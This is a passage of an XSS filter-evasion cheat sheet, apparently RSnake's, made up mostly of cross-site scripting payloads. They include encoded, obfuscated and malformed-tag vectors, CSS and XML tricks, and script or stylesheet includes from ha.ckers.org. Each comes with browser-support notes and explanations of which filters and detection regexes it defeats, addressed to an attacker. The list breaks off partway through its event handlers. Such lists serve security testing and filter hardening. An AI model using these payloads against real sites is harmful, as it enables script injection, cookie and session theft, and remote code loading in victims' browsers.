- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- META w/data:URL
- <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
- This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- META w/additional URL parameter
- <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
- Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Mocha
- <IMG SRC="mocha:[code]">
- Mocha (Older Netscape only)
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
-
-
- OBJECT
- <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
- If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- OBJECT w/Embedded XSS
- <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
- Using an OBJECT tag you can embed XSS directly (this is unverified).
-
- Browser support:
-
-
- Embed Flash
- <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
- Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- OBJECT w/Flash 2
- a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";
eval(a+b+c+d);
- Using this action script inside flash can obfuscate your XSS vector.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- STYLE
- <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
- STYLE tag (Older versions of Netscape only)
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
-
-
- STYLE w/Comment
- <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
- STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- STYLE w/Anonymous HTML
- <XSS STYLE="xss:expression(alert('XSS'))">
- Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- STYLE w/background-image
- <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
- STYLE tag using background-image.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- STYLE w/background
- <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
- STYLE tag using background.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Stylesheet
- <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
- Stylesheet
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Remote Stylesheet 1
- <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
- Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Remote Stylesheet 2
- <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
- Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Remote Stylesheet 3
- <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
- Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Remote Stylesheet 4
- <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
- Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- TABLE
- <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
- Table background (who would have thought tables were XSS targets... except me, of course).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- TD
- <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
- TD background.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- XML namespace
- <HTML xmlns:xss>
-<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
-<xss:xss>XSS</xss:xss>
-</HTML>
- XML namespace. The .htc file must be located on the server as your XSS vector.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- XML data island w/CDATA
- <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
-</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
- XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- XML data island w/comment
- <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
-<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
- XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- XML (locally hosted)
- <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
-<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
- Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- XML HTML+TIME
- <HTML><BODY>
-<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
-<?import namespace="t" implementation="#default#time2">
-<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
- HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Commented-out Block
- <!--[if gte IE 4]>
-<SCRIPT>alert('XSS');</SCRIPT>
-<![endif]-->
- Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Cookie Manipulation
- <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
- Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Local .htc file
- <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
- This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Rename .js to .jpg
- <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
- Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- SSI
- <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
- SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- PHP
- <? echo('<SCR)';
-echo('IPT>alert("XSS")</SCRIPT>'); ?>
- PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- JavaScript Includes
- <BR SIZE="&{alert('XSS')}">
- &JavaScript includes (works in Netscape 4.x).
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
-
-
- Character Encoding Example
- <
-%3C
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-<
-\x3c
-\x3C
-\u003c
-\u003C
- All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).
-
- Browser support:
-
-
- Case Insensitive
- <IMG SRC=JaVaScRiPt:alert('XSS')>
- Case insensitive XSS attack vector.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- HTML Entities
- <IMG SRC=javascript:alert("XSS")>
- HTML entities (the semicolons are required for this to work).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Grave Accents
- <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
- Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Image w/CharCode
- <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- UTF-8 Unicode Encoding
- <IMG SRC=javascript:alert('XSS')>
- UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Long UTF-8 Unicode w/out Semicolons
- <IMG SRC=javascript:alert('XSS')>
- Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- DIV w/Unicode
- <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
- DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Hex Encoding w/out Semicolons
- <IMG SRC=javascript:alert('XSS')>
- Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- UTF-7 Encoding
- <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
- UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Escaping JavaScript escapes
- \";alert('XSS');//
- Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- End title tag
- </TITLE><SCRIPT>alert("XSS");</SCRIPT>
- This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- STYLE w/broken up JavaScript
- <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
- STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Embedded Tab
- <IMG SRC="jav ascript:alert('XSS');">
- Embedded tab to break up the cross site scripting attack.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Embedded Encoded Tab
- <IMG SRC="jav	ascript:alert('XSS');">
- Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Embedded Newline
- <IMG SRC="jav
ascript:alert('XSS');">
- Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Embedded Carriage Return
- <IMG SRC="jav
ascript:alert('XSS');">
- Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Multiline w/Carriage Returns
- <IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
- Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Null Chars 1
- perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
- Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Null Chars 2
- perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
- Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Spaces/Meta Chars
- <IMG SRC="  javascript:alert('XSS');">
- Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Non-Alpha/Non-Digit
- <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Non-Alpha/Non-Digit Part 2
- <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
- Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- No Closing Script Tag
- <SCRIPT SRC=http://ha.ckers.org/xss.js
- In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Protocol resolution in script tags
- <SCRIPT SRC=//ha.ckers.org/.j>
- This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Half-Open HTML/JavaScript
- <IMG SRC="javascript:alert('XSS')"
- Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
- /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
-As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Double open angle brackets
- <IFRAME SRC=http://ha.ckers.org/scriptlet.html <
- This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Extraneous Open Brackets
- <<SCRIPT>alert("XSS");//<</SCRIPT>
- (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Malformed IMG Tags
- <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
- Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- No Quotes/Semicolons
- <SCRIPT>a=/XSS/
-alert(a.source)</SCRIPT>
- No single quotes or double quotes or semicolons.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Event Handlers List 1
- See Below
- Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
-
--FSCommand() (execute from within an embedded Flash object)
-
--onAbort() (when user aborts the loading of an image)
-
--onActivate() (when object is set as the active element)
-
--onAfterPrint() (activates after user prints or previews print job)
-
--onAfterUpdate() (activates on data object after updating data in the source object)
-
--onBeforeActivate() (fires before the object is set as the active element)
-
--onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function)
-
